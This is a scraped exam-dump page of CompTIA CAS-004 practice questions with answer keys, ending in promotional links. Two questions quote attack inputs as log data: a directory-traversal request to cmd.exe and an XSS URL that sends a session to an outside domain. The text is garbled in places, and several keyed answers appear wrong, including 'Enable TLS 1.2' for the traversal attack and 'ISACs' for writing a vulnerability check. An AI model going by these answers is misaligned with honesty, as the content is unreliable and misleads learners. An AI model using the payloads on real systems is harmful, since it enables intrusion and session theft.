```

Which of the following BEST explains why secure LDAP is not working? (Select TWO.)

- A. The clients may not trust idapt by default.
- B. The secure LDAP service is not started, so no connections can be made.
- C. Danvills.com is under a DDoS-inator attack and cannot respond to OCSP requests.
- D. Secure LDAP should be running on UDP rather than TCP.
- E. The company is using the wrong por
- F. It should be using port 389 for secure LDAP.
- G. Secure LDAP does not support wildcard certificates.
- H. The clients may not trust Chicago by default.

Answer: BE

NEW QUESTION 166

An engineering team is developing and deploying a fleet of mobile devices to be used for specialized inventory management purposes. These devices should:

- * Be based on open-source Android for user familiarity and ease.
- * Provide a single application for inventory management of physical assets.
- * Permit use of the camera be only the inventory application for the purposes of scanning
- * Disallow any and all configuration baseline modifications.
- * Restrict all access to any device resource other than those requirement ?

- A. Set an application wrapping policy, wrap the application, distributes the inventory APK via the MAM tool, and test the application restrictions.
- B. Write a MAC sepolicy that defines domains with rules, label the inventory application, build the policy, and set to enforcing mode.
- C. Swap out Android Linux kernel version for >2,4,0, but the internet build Android, remove unnecessary functions via MDL, configure to block network access, and perform integration testing
- D. Build and install an Android middleware policy with requirements added, copy the file into/ user/init, and then built the inventory application.

Answer: A

NEW QUESTION 168

A security analyst needs to recommend a remediation to the following threat:

```
GET http://comptia.com/casp/search?q=scriptingcrc
GET http://comptia.com/casp/..%55../Windows/System32/cmd.exe?/c+sql+s:\
POST http://comptia.com/casp/login.asp
GET http://comptia.com/casp/user=54x90211z
```

Which of the following actions should the security analyst propose to prevent this successful exploitation?

- A. Patch the system.
- B. Update the antivirus.
- C. Install a host-based firewall.
- D. Enable TLS 1.2.

Answer: D

NEW QUESTION 173

A threat analyst notices the following URL while going through the HTTP logs.

```
http://www.safetyswaing-ww/search.asp?q=<script>%newimage%&.src%http://%adomain-ww/session/</script>
```

Which of the following attack types is the threat analyst seeing?

- A. SQL injection
- B. CSRF
- C. Session hijacking
- D. XSS

Answer: D

NEW QUESTION 177

A financial services company wants to migrate its email services from on-premises servers to a cloud-based email solution. The Chief information Security Officer (CISO) must brief board of directors on the potential security concerns related to this migration. The board is concerned about the following.

- * Transactions being required by unauthorized individual
- * Complete discretion regarding client names, account numbers, and investment information.
- * Malicious attacker using email to distribute malware and ransom ware.
- * Exfiltration of sensitivity company information.

The cloud-based email solution will provide an6-malware, reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the board's concerns for this email migration?

- A. Data loss prevention
- B. Endpoint detection response
- C. SSL VPN
- D. Application whitelisting

Answer: A

NEW QUESTION 181

A systems administrator is in the process of hardening the host systems before connecting to the network. The administrator wants to add protection to the boot loader to ensure the hosts are secure before the OS fully boots.

Which of the following would provide the BEST boot loader protection?

- A. TPM
- B. HSM
- C. PKI
- D. UEFI/BIOS

Answer: D

NEW QUESTION 186

An application server was recently upgraded to prefer TLS 1.3, and now users are unable to connect their clients to the server. Attempts to reproduce the error are confirmed, and clients are reporting the following:

ERR_SSL_VERSION_OR_CIPHER_MISMATCH

Which of the following is MOST likely the root cause?

- A. The client application is testing PFS.
- B. The client application is configured to use ECDHE.
- C. The client application is configured to use RC4.
- D. The client application is configured to use AES-256 in GCM.

Answer: C

NEW QUESTION 188

An organization's finance system was recently attacked. A forensic analyst is reviewing the contents of the compromised files for credit card data. Which of the following commands should

the analyst run to BEST determine whether financial data was lost?

- A. `grep -v '^4[0-9]{12}([0-9]{3})?$' file`
- B. `grep '^4[0-9]{12}([0-9]{3})?$' file`
- C. `grep '^6(?:011|5[0-9]{2})[0-9]{12}?' file`
- D. `grep -v '^6(?:011|5[0-9]{2})[0-9]{12}?' file`

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: C

NEW QUESTION 189

A Chief Information Officer (CIO) wants to implement a cloud solution that will satisfy the following requirements:

Support all phases of the SDLC. Use tailored website portal software.

Allow the company to build and use its own gateway software. Utilize its own data management platform.

Continue using agent-based security tools.

Which of the following cloud-computing models should the CIO implement?

- A. SaaS
- B. PaaS
- C. MaaS
- D. IaaS

Answer: D

NEW QUESTION 192

A security engineer is troubleshooting an issue in which an employee is getting an IP address in the range on the wired network. The engineer plus another PC

into the same port, and that PC gets an IP address in the correct range. The engineer then puts the employee' PC on the wireless network and finds the PC still not get an IP address in the proper range. The PC is up to date on all software and antivirus definitions, and the IP address is not an APIPA address. Which of the following is MOST likely the problem?

- A. The company is using 802.1x for VLAN assignment, and the user or computer is in the wrong group.
- B. The DHCP server has a reservation for the PC's MAC address for the wired interface.
- C. The WiFi network is using WPA2 Enterprise, and the computer certificate has the wrong IP address in the SAN field.
- D. The DHCP server is unavailable, so no IP address is being sent back to the PC.

Answer: A

NEW QUESTION 197

A home automation company just purchased and installed tools for its SOC to enable incident identification and response on software the company develops. The company would like to prioritize defenses against the following attack scenarios:

Unauthorized insertions into application development environments

Authorized insiders making unauthorized changes to environment configurations

Which of the following actions will enable the data feeds needed to detect these types of attacks on development environments? (Choose two.)

- A. Perform static code analysis of committed code and generate summary reports.
- B. Implement an XML gateway and monitor for policy violations.
- C. Monitor dependency management tools and report on susceptible third-party libraries.
- D. Install an IDS on the development subnet and passively monitor for vulnerable services.
- E. Model user behavior and monitor for deviations from normal.
- F. Continuously monitor code commits to repositories and generate summary logs.

Answer: AF

NEW QUESTION 202

A company publishes several APIs for customers and is required to use keys to segregate customer data sets. Which of the following would be BEST to use to store customer keys?

- A. A trusted platform module
- B. A hardware security module
- C. A localized key store
- D. A public key infrastructure

Answer: B

NEW QUESTION 204

All staff at a company have started working remotely due to a global pandemic. To transition to remote work, the company has migrated to SaaS collaboration tools. The human resources department wants to use these tools to process sensitive information but is concerned the data could be:

Leaked to the media via printing of the documents Sent to a personal email address

Accessed and viewed by systems administrators Uploaded to a file storage site

Which of the following would mitigate the department's concerns?

- A. Data loss detection, reverse proxy, EDR, and PGP
- B. VDI, proxy, CASB, and DRM
- C. Watermarking, forward proxy, DLP, and MFA
- D. Proxy, secure VPN, endpoint encryption, and AV

Answer: C

NEW QUESTION 208

A financial institution has several that currently employ the following controls:

* The servers follow a monthly patching cycle.

* All changes must go through a change management process.

* Developers and systems administrators must log into a jumpbox to access the servers hosting the data using two-factor authentication.

* The servers are on an isolated VLAN and cannot be directly accessed from the internal production network. An outage recently occurred and lasted several days due to an upgrade that circumvented the approval process.

Once the security team discovered an unauthorized patch was installed, they were able to resume operations within an hour. Which of the following should the security administrator recommend to reduce the time to resolution if a similar incident occurs in the future?

- A. Require more than one approver for all change management requests.
- B. Implement file integrity monitoring with automated alerts on the servers.
- C. Disable automatic patch update capabilities on the servers
- D. Enhanced audit logging on the jump servers and ship the logs to the SIEM.

Answer: B

NEW QUESTION 210

A vulnerability analyst identified a zero-day vulnerability in a company's internally developed software. Since the current vulnerability management system does not have any checks for this vulnerability, an engineer has been asked to create one.

Which of the following would be BEST suited to meet these requirements?

- A. ARF
- B. ISACs
- C. Node.js
- D. OVAL

Answer: B

NEW QUESTION 213

A company based in the United States holds insurance details of EU citizens. Which of the following must be adhered to when processing EU citizens' personal, private, and confidential data?

- A. The principle of lawful, fair, and transparent processing
- B. The right to be forgotten principle of personal data erasure requests
- C. The non-repudiation and deniability principle
- D. The principle of encryption, obfuscation, and data masking

Answer: A

NEW QUESTION 217

A shipping company that is trying to eliminate entire classes of threats is developing an SELinux policy to ensure its custom Android devices are used exclusively for package tracking.

After compiling and implementing the policy, in which of the following modes must the company ensure the devices are configured to run?

- A. Protecting
- B. Permissive
- C. Enforcing
- D. Mandatory

Answer: C

NEW QUESTION 218

Due to internal resource constraints, the management team has asked the principal security architect to recommend a solution that shifts partial responsibility for application-level controls to the cloud provider. In the shared responsibility model, which of the following levels of service meets this requirement?

- A. IaaS
- B. SaaS
- C. FaaS
- D. PaaS

Answer: D

NEW QUESTION 221

An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently, the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.

Which of the following designs would be BEST for the CISO to use?

- A. Adding a second redundant layer of alternate vendor VPN concentrators
- B. Using Base64 encoding within the existing site-to-site VPN connections
- C. Distributing security resources across VPN sites
- D. Implementing IDS services with each VPN concentrator
- E. Transitioning to a container-based architecture for site-based services

Answer: A

Explanation:

If on VPN concentrator goes down due to a zero day threat, having a redundant VPN concentrator of a different vendor should keep you going.

NEW QUESTION 223

An organization requires a legacy system to incorporate reference data into a new system. The organization anticipates the legacy system will remain in operation for the next 18 to 24 months. Additionally, the legacy system has multiple critical vulnerabilities with no patches available to resolve them. Which of the following is the BEST design option to optimize security?

- A. Limit access to the system using a jump box.
- B. Place the new system and legacy system on separate VLANs
- C. Deploy the legacy application on an air-gapped system.
- D. Implement MFA to access the legacy system.

Answer: C

NEW QUESTION 228

An organization that provides a SaaS solution recently experienced an incident involving customer data loss. The system has a level of self-healing that includes monitoring performance and available resources. When the system detects an issue, the self-healing process is supposed to restart parts of the software.

During the incident, when the self-healing system attempted to restart the services, available disk space on the data drive to restart all the services was inadequate. The self-healing system did not detect that some services did not fully restart and declared the system as fully operational. Which of the following BEST describes the reason why the silent failure occurred?

- A. The system logs rotated prematurely.
- B. The disk utilization alarms are higher than what the service restarts require.
- C. The number of nodes in the self-healing cluster was healthy,
- D. Conditional checks prior to the service restart succeeded.

Answer: D

NEW QUESTION 229

An enterprise is deploying APIs that utilize a private key and a public key to ensure the connection string is protected. To connect to the API, customers must use the private key.

Which of the following would BEST secure the REST API connection to the database while preventing the use of a hard-coded string in the request string?

- A. Implement a VPN for all APIs.
- B. Sign the key with DSA.
- C. Deploy MFA for the service accounts.
- D. Utilize HMAC for the keys.

Answer: B

NEW QUESTION 232

A small business would like to provide guests who are using mobile devices encrypted WPA3 access without first distributing PSKs or other credentials. Which of the following features will enable the business to meet this objective?

- A. Simultaneous Authentication of Equals
- B. Enhanced open
- C. Perfect forward secrecy
- D. Extensible Authentication Protocol

Answer: A

NEW QUESTION 235

An attack team performed a penetration test on a new smart card system. The team demonstrated that by subjecting the smart card to high temperatures, the secret key could be revealed.

Which of the following side-channel attacks did the team use?

- A. Differential power analysis
- B. Differential fault analysis
- C. Differential temperature analysis
- D. Differential timing analysis

Answer: B

Explanation:

"Differential fault analysis (DFA) is a type of active side-channel attack in the field of cryptography, specifically cryptanalysis. The principle is to induce faults—unexpected environmental conditions—into cryptographic operations, to reveal their internal states."

NEW QUESTION 239

A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.

```
Test_email_sent_from_bp_app01_to_external_client_app01_mailing_list.
```

Which of the following should the security analyst perform?

- A. Contact the security department at the business partner and alert them to the email event.
- B. Block the IP address for the business partner at the perimeter firewall.
- C. Pull the devices of the affected employees from the network in case they are infected with a zero-day virus.
- D. Configure the email gateway to automatically quarantine all messages originating from the business partner.

Answer: A

NEW QUESTION 242

An attacker infiltrated the code base of a hardware manufacturer and inserted malware before the code was compiled. The malicious code is now running at the hardware level across a number of industries and sectors. Which of the following categories BEST describes this type of vendor risk?

- A. SDLC attack
- B. Side-load attack
- C. Remote code signing
- D. Supply chain attack

Answer: D

NEW QUESTION 245

.....

Relate Links

100% Pass Your CAS-004 Exam with Exam Bible Prep Materials

<https://www.exambible.com/CAS-004-exam/>

Contact us

We are proud of our high-quality customer service, which serves you around the clock 24/7.

Viste - <https://www.exambible.com/>